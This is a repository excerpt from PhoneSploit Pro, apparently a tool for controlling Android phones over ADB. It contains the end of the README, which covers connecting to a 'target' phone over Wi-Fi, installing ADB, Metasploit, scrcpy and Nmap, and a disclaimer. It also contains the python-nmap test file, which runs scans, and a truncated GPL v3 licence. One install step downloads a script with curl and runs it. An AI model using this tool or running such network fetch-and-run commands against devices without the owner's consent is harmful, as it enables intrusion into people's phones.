176 | 8. Disconnect the USB cable.
177 | 9. Go to `Settings` > `About Phone` > `Status` > `IP address` and note the phone's `IP Address`.
178 | 10. Run __PhoneSploit Pro__ and select `Connect a device` and enter the target's `IP Address` to connect over Wi-Fi.
179 |
180 |
181 |
182 | ## Connecting the Android phone for the next time
183 |
184 | 1. Connect your Android device and host computer to a common Wi-Fi network.
185 | 2. Run __PhoneSploit Pro__ and select `Connect a device` and enter the target's `IP Address` to connect over Wi-Fi.
186 |
187 |
188 | # This tool is tested on
189 |
190 | - ✅ Ubuntu
191 | - ✅ Linux Mint
192 | - ✅ Kali Linux
193 | - ✅ Fedora
194 | - ✅ Arch Linux
195 | - ✅ Parrot Security OS
196 | - ✅ Windows 11
197 | - ✅ Termux (Android)
198 |
199 | All the new features are primarily tested on **Linux**, thus **Linux** is recommended for running PhoneSploit Pro.
200 | Some features might not work properly on Windows.
201 |
202 | # Installing ADB
203 |
204 | #### ADB on Linux :
205 |
206 | Open terminal and paste the following commands :
207 |
208 | * __Debian / Ubuntu__
209 | ```
210 | sudo apt update
211 | ```
212 | ```
213 | sudo apt install adb
214 | ```
215 |
216 | * __Fedora__
217 | ```
218 | sudo dnf install adb
219 | ```
220 |
221 | * __Arch Linux / Manjaro__
222 | ```
223 | sudo pacman -Sy android-tools
224 | ```
225 |
226 | For other Linux Distributions : [Visit this Link](https://developer.android.com/studio/releases/platform-tools#downloads)
227 |
228 | #### ADB on macOS :
229 |
230 | Open terminal and paste the following command :
231 |
232 | ```
233 | brew install android-platform-tools
234 | ```
235 |
236 | or Visit this link : [Click Here](https://developer.android.com/studio/releases/platform-tools.html#downloads)
237 |
238 | #### ADB on Windows :
239 |
240 | Visit this link : [Click Here](https://developer.android.com/studio/releases/platform-tools.html#downloads)
241 |
242 | #### ADB on Termux :
243 | ```
244 | pkg update
245 | ```
246 | ```
247 | pkg install android-tools
248 | ```
249 |
250 |
251 | # Installing Metasploit-Framework
252 |
253 | #### On Linux / macOS :
254 | ```
255 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
256 | chmod 755 msfinstall && \
257 | ./msfinstall
258 | ```
259 |
260 | or Follow this link : [Click Here](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos)
261 |
262 | or Visit this link : [Click Here](https://www.metasploit.com/download)
263 |
264 | #### On Windows :
265 |
266 | Visit this link : [Click Here](https://www.metasploit.com/download)
267 |
268 | or Follow this link : [Click Here](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#windows-anti-virus-software-flags-the-contents-of-these-packages)
269 |
270 | # Installing scrcpy
271 |
272 | Visit the `scrcpy` GitHub page for latest installation instructions : [Click Here](https://github.com/Genymobile/scrcpy#get-the-app)
273 |
274 | **On Windows** : Copy all the files from the extracted **scrcpy** folder to **PhoneSploit-Pro** folder.
275 |
276 | If `scrcpy` is not available for your Linux distro like **Kali Linux**, then you can either manually install it : [Manual Guide](https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md),
277 | or build it with a few simple steps : [Build Guide](https://github.com/Genymobile/scrcpy/blob/master/doc/build.md#build-scrcpy)
278 |
279 | # Installing Nmap
280 |
281 | #### Nmap on Linux :
282 |
283 | Open terminal and paste the following commands :
284 |
285 | * __Debian / Ubuntu__
286 | ```
287 | sudo apt update
288 | ```
289 | ```
290 | sudo apt install nmap
291 | ```
292 |
293 | * __Fedora__
294 | ```
295 | sudo dnf install nmap
296 | ```
297 |
298 | * __Arch Linux / Manjaro__
299 | ```
300 | sudo pacman -Sy nmap
301 | ```
302 |
303 | For other Linux Distributions : [Visit this Link](https://nmap.org/download.html)
304 |
305 | #### Nmap on macOS :
306 |
307 | Open terminal and paste the following command :
308 |
309 | ```
310 | brew install nmap
311 | ```
312 |
313 | or Visit this link : [Visit this Link](https://nmap.org/download.html)
314 |
315 | #### Nmap on Windows :
316 |
317 | Download and install the latest stable release : [Click Here](https://nmap.org/download.html#windows)
318 |
319 | #### Nmap on Termux :
320 | ```
321 | pkg update
322 | ```
323 | ```
324 | pkg install nmap
325 | ```
326 |
327 |
328 |
329 | # Disclaimer
330 |
331 | * Neither the project nor its developer promote any kind of illegal activity and are not responsible for any misuse or damage caused by this project.
332 | * This project is for educational purpose only.
333 | * Please do not use this tool on other people's devices without their permission.
334 | * Do not use this tool to harm others.
335 | * Use this project responsibly on your own devices only.
336 | * It is the end user's responsibility to obey all applicable local, state, federal, and international laws.
337 |
338 |
339 | # Developer
340 |
341 | MZN STUDIOS OFC BY MAAZIN KING ❤🩹🔥
342 |
--------------------------------------------------------------------------------
/modules/nmap/test_nmap.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | import nmap
5 | import datetime
6 | import os
7 |
8 | from nose.tools import assert_equals
9 | from nose.tools import raises
10 | from nose import with_setup
11 |
12 | from multiprocessing import Value
13 |
14 | """
15 | test_nmap.py - tests cases for python-nmap
16 |
17 | Source code : https://bitbucket.org/xael/python-nmap
18 |
19 | Author :
20 |
21 | * Alexandre Norman - norman at xael.org
22 |
23 | Contributors:
24 |
25 | * Steve 'Ashcrow' Milner - steve at gnulinux.net
26 | * Brian Bustin - brian at bustin.us
27 | * old.schepperhand
28 | * Johan Lundberg
29 | * Thomas D. maaaaz
30 | * Robert Bost
31 |
32 | Licence : GPL v3 or any later version
33 |
34 |
35 | This program is free software: you can redistribute it and/or modify
36 | it under the terms of the GNU General Public License as published by
37 | the Free Software Foundation, either version 3 of the License, or
38 | any later version.
39 |
40 | This program is distributed in the hope that it will be useful,
41 | but WITHOUT ANY WARRANTY; without even the implied warranty of
42 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
43 | GNU General Public License for more details.
44 |
45 | You should have received a copy of the GNU General Public License
46 | along with this program. If not, see .
47 |
48 |
49 | """
50 |
51 | ##########################################################################################
52 |
53 | """
54 | This plugin provides ``--pdb`` and ``--pdb-failures`` options. The ``--pdb``
55 | option will drop the test runner into pdb when it encounters an error. To
56 | drop into pdb on failure, use ``--pdb-failures``.
57 | """
58 |
59 | import pdb
60 | from nose.plugins.base import Plugin
61 |
62 |
63 | class Pdb(Plugin):
64 | """
65 | Provides --pdb and --pdb-failures options that cause the test runner to
66 | drop into pdb if it encounters an error or failure, respectively.
67 | """
68 |
69 | enabled_for_errors = False
70 | enabled_for_failures = False
71 | score = 5 # run last, among builtins
72 |
73 | def options(self, parser, env):
74 | """Register commandline options.
75 | """
76 | parser.add_option(
77 | "--pdb",
78 | action="store_true",
79 | dest="debugBoth",
80 | default=env.get("NOSE_PDB", False),
81 | help="Drop into debugger on failures or errors",
82 | )
83 | parser.add_option(
84 | "--pdb-failures",
85 | action="store_true",
86 | dest="debugFailures",
87 | default=env.get("NOSE_PDB_FAILURES", False),
88 | help="Drop into debugger on failures",
89 | )
90 | parser.add_option(
91 | "--pdb-errors",
92 | action="store_true",
93 | dest="debugErrors",
94 | default=env.get("NOSE_PDB_ERRORS", False),
95 | help="Drop into debugger on errors",
96 | )
97 |
98 | def configure(self, options, conf):
99 | """Configure which kinds of exceptions trigger plugin.
100 | """
101 | self.conf = conf
102 | self.enabled_for_errors = options.debugErrors or options.debugBoth
103 | self.enabled_for_failures = options.debugFailures or options.debugBoth
104 | self.enabled = self.enabled_for_failures or self.enabled_for_errors
105 |
106 | def addError(self, test, err):
107 | """Enter pdb if configured to debug errors.
108 | """
109 | if not self.enabled_for_errors:
110 | return
111 | self.debug(err)
112 |
113 | def addFailure(self, test, err):
114 | """Enter pdb if configured to debug failures.
115 | """
116 | if not self.enabled_for_failures:
117 | return
118 | self.debug(err)
119 |
120 | def debug(self, err):
121 | import sys # FIXME why is this import here?
122 |
123 | ec, ev, tb = err
124 | stdout = sys.stdout
125 | sys.stdout = sys.__stdout__
126 | try:
127 | pdb.post_mortem(tb)
128 | finally:
129 | sys.stdout = stdout
130 |
131 |
132 | ##########################################################################################
133 |
134 |
135 | def setup_module():
136 | global nm
137 | nm = nmap.PortScanner()
138 |
139 |
140 | @raises(nmap.PortScannerError)
141 | def test_wrong_args():
142 | nm.scan(arguments="-wrongargs")
143 |
144 |
145 | def test_host_scan_error():
146 | assert (
147 | "error" in nm.scan("noserver.example.com", arguments="-sP")["nmap"]["scaninfo"]
148 | )
149 |
150 |
151 | def xmlfile_read_setup():
152 | nm.analyse_nmap_xml_scan(open("scanme_output.xml").read())
153 |
154 |
155 | @with_setup(xmlfile_read_setup)
156 | def test_command_line():
157 | try:
158 | global NMAP_XML_VERSION
159 | NMAP_XML_VERSION = os.environ["NMAP_XML_VERSION"]
160 | except Exception:
161 | raise ValueError("Set env NMAP_XML_VERSION")
162 |
163 | assert_equals(
164 | nm.command_line(),
165 | "./nmap-{0}/nmap -sV -oX scanme_output-{0}.xml scanme.nmap.org".format(
166 | NMAP_XML_VERSION
167 | ),
168 | )
169 |
170 |
171 | @with_setup(xmlfile_read_setup)
172 | def test_scan_info():
173 | assert "tcp" in nm.scaninfo()
174 | assert "method" in nm.scaninfo()["tcp"]
175 | assert_equals("connect", nm.scaninfo()["tcp"]["method"])
176 | assert "services" in nm.scaninfo()["tcp"]
177 |
178 |
179 | @with_setup(xmlfile_read_setup)
180 | def test_all_hosts():
181 | assert_equals(["45.33.32.156"], nm.all_hosts())
182 |
183 |
184 | @with_setup(xmlfile_read_setup)
185 | def test_host():
186 | assert_equals("scanme.nmap.org", nm["45.33.32.156"].hostname())
187 | assert {"name": "scanme.nmap.org", "type": "user"} in nm["45.33.32.156"].hostnames()
188 | assert_equals("up", nm["45.33.32.156"].state())
189 | assert_equals(["tcp"], nm["45.33.32.156"].all_protocols())
190 |
191 |
192 | def test_host_no_hostname():
193 | # Covers bug : https://bitbucket.org/xael/python-nmap/issues/7/error-with-hostname
194 | nm.scan("127.0.0.2")
195 | assert_equals("", nm["127.0.0.2"].hostname())
196 |
197 |
198 | @with_setup(xmlfile_read_setup)
199 | def test_ports():
200 | ports = list(nm["45.33.32.156"]["tcp"].keys())
201 | ports.sort()
202 | assert_equals([22, 25, 80, 139, 445, 9929, 31337], ports)
203 | assert nm["45.33.32.156"].has_tcp(22)
204 | assert nm["45.33.32.156"].has_tcp(23) == False
205 | assert "conf" in list(nm["45.33.32.156"]["tcp"][22])
206 | assert "cpe" in list(nm["45.33.32.156"]["tcp"][22])
207 | assert "name" in list(nm["45.33.32.156"]["tcp"][22])
208 | assert "product" in list(nm["45.33.32.156"]["tcp"][22])
209 | assert "reason" in list(nm["45.33.32.156"]["tcp"][22])
210 | assert "state" in list(nm["45.33.32.156"]["tcp"][22])
211 | assert "version" in list(nm["45.33.32.156"]["tcp"][22])
212 |
213 | assert "10" in nm["45.33.32.156"]["tcp"][22]["conf"]
214 | global NMAP_XML_VERSION
215 | if NMAP_XML_VERSION == "6.40":
216 | assert_equals("", nm["45.33.32.156"]["tcp"][22]["cpe"])
217 | assert_equals("", nm["45.33.32.156"]["tcp"][22]["product"])
218 | assert_equals("", nm["45.33.32.156"]["tcp"][22]["version"])
219 | else:
220 | assert "cpe:/o:linux:linux_kernel" in nm["45.33.32.156"]["tcp"][22]["cpe"]
221 | assert "OpenSSH" in nm["45.33.32.156"]["tcp"][22]["product"]
222 | assert "6.6.1p1 Ubuntu 2ubuntu2.13" in nm["45.33.32.156"]["tcp"][22]["version"]
223 |
224 | assert "ssh" in nm["45.33.32.156"]["tcp"][22]["name"]
225 | assert "syn-ack" in nm["45.33.32.156"]["tcp"][22]["reason"]
226 | assert "open" in nm["45.33.32.156"]["tcp"][22]["state"]
227 |
228 | assert_equals(nm["45.33.32.156"]["tcp"][22], nm["45.33.32.156"].tcp(22))
229 |
230 |
231 | @with_setup(xmlfile_read_setup)
232 | def test_listscan():
233 | assert_equals("1", nm.scanstats()["uphosts"])
234 | assert_equals("0", nm.scanstats()["downhosts"])
235 | assert_equals("1", nm.scanstats()["totalhosts"])
236 | assert "timestr" in nm.scanstats().keys()
237 | assert "elapsed" in nm.scanstats().keys()
238 |
239 |
240 | @with_setup(xmlfile_read_setup)
241 | def test_csv_output():
242 | assert_equals(
243 | "host;hostname;hostname_type;protocol;port;name;state;product;extrainfo;reason;version;conf;cpe",
244 | nm.csv().split("\n")[0].strip(),
245 | )
246 |
247 | global NMAP_XML_VERSION
248 | result = None
249 | if NMAP_XML_VERSION == "6.40":
250 | result = "45.33.32.156;scanme.nmap.org;user;tcp;22;ssh;open;;protocol 2.0;syn-ack;;10;"
251 |
252 | elif NMAP_XML_VERSION == "7.01":
253 | result = '45.33.32.156;scanme.nmap.org;user;tcp;22;ssh;open;OpenSSH;"Ubuntu Linux; protocol 2.0";syn-ack;6.6.1p1 Ubuntu 2ubuntu2.13;10;cpe:/o:linux:linux_kernel'
254 |
255 | elif NMAP_XML_VERSION == "7.70":
256 | result = '45.33.32.156;scanme.nmap.org;user;tcp;22;ssh;open;OpenSSH;"Ubuntu Linux; protocol 2.0";syn-ack;6.6.1p1 Ubuntu 2ubuntu2.13;10;cpe:/o:linux:linux_kernel'
257 |
258 | elif NMAP_XML_VERSION == "7.91":
259 | result = '45.33.32.156;scanme.nmap.org;user;tcp;22;ssh;open;OpenSSH;"Ubuntu Linux; protocol 2.0";syn-ack;6.6.1p1 Ubuntu 2ubuntu2.13;10;cpe:/o:linux:linux_kernel'
260 |
261 | if result is not None:
262 | assert_equals(result, nm.csv().split("\n")[1].strip())
263 |
264 |
265 | def test_listscan():
266 | assert 0 < len(nm.listscan("192.168.1.0/30"))
267 | assert_equals(
268 | ["127.0.0.0", "127.0.0.1", "127.0.0.2", "127.0.0.3"],
269 | nm.listscan("localhost/30"),
270 | )
271 |
272 |
273 | def test_ipv6():
274 | if os.getuid() == 0:
275 | r = nm.scan("127.0.0.1", arguments="-6")
276 | else:
277 | r = nm.scan("127.0.0.1", arguments="-6", sudo=True)
278 |
279 |
280 | def test_ipv4_async():
281 | global FLAG
282 | FLAG = Value("i", 0)
283 | nma = nmap.PortScannerAsync()
284 |
285 | def callback_result(host, scan_result):
286 | global FLAG
287 | FLAG.value = 1
288 |
289 | nma.scan(hosts="127.0.0.1", arguments="-p 22 -Pn", callback=callback_result)
290 |
291 | while nma.still_scanning():
292 | nma.wait(2)
293 |
294 | assert_equals(FLAG.value, 1)
295 |
296 |
297 | def test_ipv6_async():
298 | global FLAG_ipv6
299 | FLAG_ipv6 = Value("i", 0)
300 | nma_ipv6 = nmap.PortScannerAsync()
301 |
302 | def callback_result(host, scan_result):
303 | global FLAG_ipv6
304 | FLAG_ipv6.value = 1
305 |
306 | nma_ipv6.scan(hosts="::1", arguments="-6 -p 22 -Pn", callback=callback_result)
307 |
308 | while nma_ipv6.still_scanning():
309 | nma_ipv6.wait(2)
310 |
311 | assert_equals(FLAG_ipv6.value, 1)
312 |
313 |
314 | def scan_localhost_sudo_arg_O():
315 | lastnm = nm.get_nmap_last_output()
316 |
317 | if len(lastnm) > 0:
318 | try:
319 | nm.analyse_nmap_xml_scan(lastnm)
320 | except Exception:
321 | pass
322 | else:
323 | if nm.command_line() == "nmap -oX - -O 127.0.0.1":
324 | return
325 |
326 | if os.getuid() == 0:
327 | nm.scan("127.0.0.1", arguments="-O")
328 | else:
329 | nm.scan("127.0.0.1", arguments="-O", sudo=True)
330 |
331 |
332 | @with_setup(scan_localhost_sudo_arg_O)
333 | def test_sudo():
334 | assert "osmatch" in nm["127.0.0.1"]
335 | assert len(nm["127.0.0.1"]["osmatch"][0]["osclass"]) > 0
336 | assert_equals("Linux", nm["127.0.0.1"]["osmatch"][0]["osclass"][0]["vendor"])
337 |
338 |
339 | @with_setup(scan_localhost_sudo_arg_O)
340 | def test_parsing_osmap_osclass_and_others():
341 | # nosetests -v -s nmap/test_nmap.py:test_parsing_osmap_osclass_and_others
342 | assert "osmatch" in nm["127.0.0.1"]
343 | assert_equals(nm["127.0.0.1"]["osmatch"][0]["name"], "Linux 2.6.32")
344 |
345 | assert "accuracy" in nm["127.0.0.1"]["osmatch"][0]
346 | assert "line" in nm["127.0.0.1"]["osmatch"][0]
347 |
348 | assert "osclass" in nm["127.0.0.1"]["osmatch"][0]
349 | assert_equals(nm["127.0.0.1"]["osmatch"][0]["osclass"][0]["vendor"], "Linux")
350 |
351 | assert "type" in nm["127.0.0.1"]["osmatch"][0]["osclass"][0]
352 | assert "osfamily" in nm["127.0.0.1"]["osmatch"][0]["osclass"][0]
353 | assert "osgen" in nm["127.0.0.1"]["osmatch"][0]["osclass"][0]
354 | assert "accuracy" in nm["127.0.0.1"]["osmatch"][0]["osclass"][0]
355 |
356 |
357 | @with_setup(scan_localhost_sudo_arg_O)
358 | def test_all_protocols():
359 | assert "addresses" not in nm["127.0.0.1"].all_protocols()
360 | assert "hostnames" not in nm["127.0.0.1"].all_protocols()
361 | assert "status" not in nm["127.0.0.1"].all_protocols()
362 | assert "vendor" not in nm["127.0.0.1"].all_protocols()
363 | assert "osclass" not in nm["127.0.0.1"].all_protocols()
364 | assert "osmatch" not in nm["127.0.0.1"].all_protocols()
365 | assert "uptime" not in nm["127.0.0.1"].all_protocols()
366 | assert "portused" not in nm["127.0.0.1"].all_protocols()
367 | assert "tcp" in nm["127.0.0.1"].all_protocols()
368 |
369 |
370 | def xmlfile_read_setup_multiple_osmatch():
371 | nm.analyse_nmap_xml_scan(open("osmatch_output.xml").read())
372 |
373 |
374 | @with_setup(xmlfile_read_setup_multiple_osmatch)
375 | def test_multipe_osmatch():
376 | assert "osmatch" in nm["127.0.0.1"]
377 | assert "portused" in nm["127.0.0.1"]
378 |
379 | for osm in nm["127.0.0.1"]["osmatch"]:
380 | assert "accuracy" in osm
381 | assert "line" in osm
382 | assert "name" in osm
383 | assert "osclass" in osm
384 | assert "accuracy" in osm["osclass"][0]
385 | assert "cpe" in osm["osclass"][0]
386 | assert "osfamily" in osm["osclass"][0]
387 | assert "osgen" in osm["osclass"][0]
388 | assert "type" in osm["osclass"][0]
389 | assert "vendor" in osm["osclass"][0]
390 |
391 |
392 | @with_setup(xmlfile_read_setup)
393 | def test_convert_nmap_output_to_encoding():
394 | a = nm.analyse_nmap_xml_scan(open("scanme_output.xml").read())
395 | out = nmap.convert_nmap_output_to_encoding(a, code="ascii")
396 | assert out["scan"]["45.33.32.156"]["addresses"]["ipv4"] == b"45.33.32.156"
397 |
398 |
399 | # def test_host_and_port_as_unicode():
400 | # # nosetests -x -s nmap/test_nmap.py:test_port_as_unicode
401 | # # Covers bug : https://bitbucket.org/xael/python-nmap/issues/9/can-not-pass-ports-with-unicode-string-at
402 | # nma = nm.scan(hosts=u'127.0.0.1', ports=u'22')
403 | # assert_equals(nma['nmap']['scaninfo']['error'], '')
404 |
405 |
406 | def test_WARNING_case_sensitive():
407 | nm.scan("localhost", arguments="-S 127.0.0.1")
408 | assert "warning" in nm.scaninfo()
409 | assert "WARNING" in nm.scaninfo()["warning"][0]
410 |
411 |
412 | def test_scan_progressive():
413 | nmp = nmap.PortScannerAsync()
414 |
415 | def callback(host, scan_data):
416 | assert host is not None
417 |
418 | nmp.scan(hosts="127.0.0.1", arguments="-sV", callback=callback)
419 | nmp.wait()
420 |
421 |
422 | def test_sudo_encoding__T24():
423 | """
424 | When using "sudo=True" like this 'nm.scan(hosts=ip_range, arguments="-sP", sudo = True)'
425 | i got a UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 9: ordinal not in range(128).
426 | But if sudo is false all thing work nice.
427 | """
428 | r = nm.scan("192.168.1.1/24", arguments="-sP", sudo=True)
429 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
